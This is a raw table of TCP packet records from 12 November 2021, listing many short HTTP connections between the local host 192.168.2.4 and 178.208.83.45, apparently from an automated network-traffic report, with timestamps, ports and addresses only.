Nov 12, 2021 22:24:12.254302979 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254318953 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254333973 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254348040 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254363060 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254369974 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.254401922 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.254420996 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.254436016 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254453897 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.254482031 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.254503965 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.267406940 CET	80	50086	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.268672943 CET	50086	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.276602983 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276628017 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276639938 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276653051 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276664972 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276693106 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276705980 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276751995 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.276771069 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276783943 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276806116 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.276812077 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276824951 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276901960 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276983976 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.276994944 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277007103 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277019024 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277030945 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277043104 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277055025 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277065992 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277077913 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277091980 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277103901 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277116060 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277127028 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277139902 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277159929 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277163029 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277168036 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277215958 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277230024 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277242899 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277267933 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277303934 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277313948 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277354002 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277369976 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.277384996 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299066067 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299273968 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299345970 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299381018 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299443007 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299546003 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299561977 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299623013 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299640894 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299702883 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299747944 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299762011 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.299777985 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.302145004 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.302215099 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.378314018 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.378596067 CET	50086	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.379692078 CET	50088	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.400669098 CET	80	50087	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.400787115 CET	80	50086	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.400899887 CET	50087	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.400907993 CET	50086	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.401886940 CET	80	50088	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:12.401993036 CET	50088	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.402668953 CET	50088	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:12.424957037 CET	80	50088	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.172868967 CET	80	50088	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.174987078 CET	50088	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.284828901 CET	50088	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.285959959 CET	50089	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.307239056 CET	80	50088	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.308268070 CET	80	50089	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.308357000 CET	50088	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.308404922 CET	50089	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.308990002 CET	50089	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.331295967 CET	80	50089	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.334873915 CET	80	50089	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.334966898 CET	50089	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.404249907 CET	50089	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.409285069 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.426678896 CET	80	50089	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.426808119 CET	50089	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.431790113 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.434185982 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.435091972 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.435244083 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.435445070 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.435530901 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.443819046 CET	50092	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.457393885 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457421064 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457703114 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457782984 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457797050 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457806110 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457878113 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457894087 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457895994 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.457907915 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457921982 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457931995 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.457935095 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457947016 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.457948923 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.457964897 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.457978010 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.457987070 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.458005905 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.466450930 CET	80	50092	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.467802048 CET	50092	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.468662977 CET	50092	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.480364084 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480390072 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480402946 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480415106 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480427027 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480439901 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480453014 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480462074 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.480465889 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480478048 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480485916 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480494022 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480504036 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.480506897 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480520010 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480530024 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.480532885 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480545998 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480561018 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480575085 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.480587959 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480591059 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480597019 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.480606079 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.480618000 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.480667114 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.491344929 CET	80	50092	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.494066954 CET	80	50092	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.494158983 CET	50092	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.502917051 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.502938032 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.502948999 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.502960920 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.502974033 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.502985001 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.502996922 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503009081 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503021002 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503027916 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.503031969 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503051043 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503072977 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.503115892 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503129005 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503138065 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503145933 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503158092 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503170967 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503181934 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503194094 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503206015 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503216982 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503249884 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503262043 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503273964 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503305912 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503315926 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503328085 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503377914 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503390074 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503421068 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503431082 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503443956 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503456116 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503467083 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503499031 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503510952 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503541946 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.503554106 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.525362968 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.525428057 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.525497913 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.525619030 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.525738955 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.525823116 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.525834084 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.528306961 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.531121016 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.597614050 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.602998972 CET	50092	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.604674101 CET	50093	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.619975090 CET	80	50091	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.620203018 CET	50091	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.625638962 CET	80	50092	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.626352072 CET	50092	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.626914024 CET	80	50093	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.627000093 CET	50093	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.628390074 CET	50093	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.650635004 CET	80	50093	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.650666952 CET	80	50093	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.650681973 CET	80	50093	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.650819063 CET	50093	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.771150112 CET	50093	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.772933006 CET	50094	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.793687105 CET	80	50093	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.795212030 CET	80	50094	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.795284033 CET	50093	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.795386076 CET	50094	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.796094894 CET	50094	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.818396091 CET	80	50094	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.821192980 CET	80	50094	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.823542118 CET	50094	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.940996885 CET	50094	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.942270041 CET	50095	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.963897943 CET	80	50094	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.964747906 CET	80	50095	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.964875937 CET	50094	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.964914083 CET	50095	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.965653896 CET	50095	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:13.988149881 CET	80	50095	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.990986109 CET	80	50095	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:13.992862940 CET	50095	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.097985029 CET	50095	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.099627972 CET	50096	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.120695114 CET	80	50095	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.120888948 CET	50095	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.122036934 CET	80	50096	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.122327089 CET	50096	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.123087883 CET	50096	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.146979094 CET	80	50096	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.152192116 CET	80	50096	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.152368069 CET	50096	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.270807028 CET	50096	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.273899078 CET	50097	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.293270111 CET	80	50096	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.293447971 CET	50096	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.297923088 CET	80	50097	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.298122883 CET	50097	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.298930883 CET	50097	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.321427107 CET	80	50097	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.324970961 CET	80	50097	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.325198889 CET	50097	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.441735983 CET	50097	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.444598913 CET	50098	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.464222908 CET	80	50097	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.464348078 CET	50097	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.466859102 CET	80	50098	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.467116117 CET	50098	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.468441963 CET	50098	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.490788937 CET	80	50098	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.493515968 CET	80	50098	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.493607044 CET	50098	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.598470926 CET	50098	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.600311995 CET	50099	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.621109962 CET	80	50098	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.621284008 CET	50098	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.622800112 CET	80	50099	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.623024940 CET	50099	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.624311924 CET	50099	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.647423029 CET	80	50099	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.650727034 CET	80	50099	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.650861979 CET	50099	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.721481085 CET	50099	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.723501921 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.744148016 CET	80	50099	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.744313955 CET	50099	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.746215105 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.746360064 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.747457027 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.747739077 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.748147011 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.748471022 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.756648064 CET	50101	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.769982100 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770076036 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770504951 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770534992 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770618916 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770644903 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770673990 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.770721912 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.770757914 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770783901 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.770787001 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770828009 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.770895958 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770924091 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.770925045 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770952940 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.770989895 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.771049976 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.771055937 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.771157026 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.779301882 CET	80	50101	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.779480934 CET	50101	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.781004906 CET	50101	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.793247938 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793317080 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793338060 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793430090 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793458939 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793488026 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793514967 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793541908 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793566942 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.793570042 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793653011 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.793678045 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.793694019 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793726921 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793745995 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.793755054 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793776989 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793787956 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.793797970 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793899059 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.793912888 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793942928 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793972015 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.793999910 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.794001102 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.794027090 CET	80	50100	178.208.83.45	192.168.2.4
Nov 12, 2021 22:24:14.794073105 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.794152975 CET	50100	80	192.168.2.4	178.208.83.45
Nov 12, 2021 22:24:14.803643942 CET	80	50101	178.208.83.45	192.168.2.4
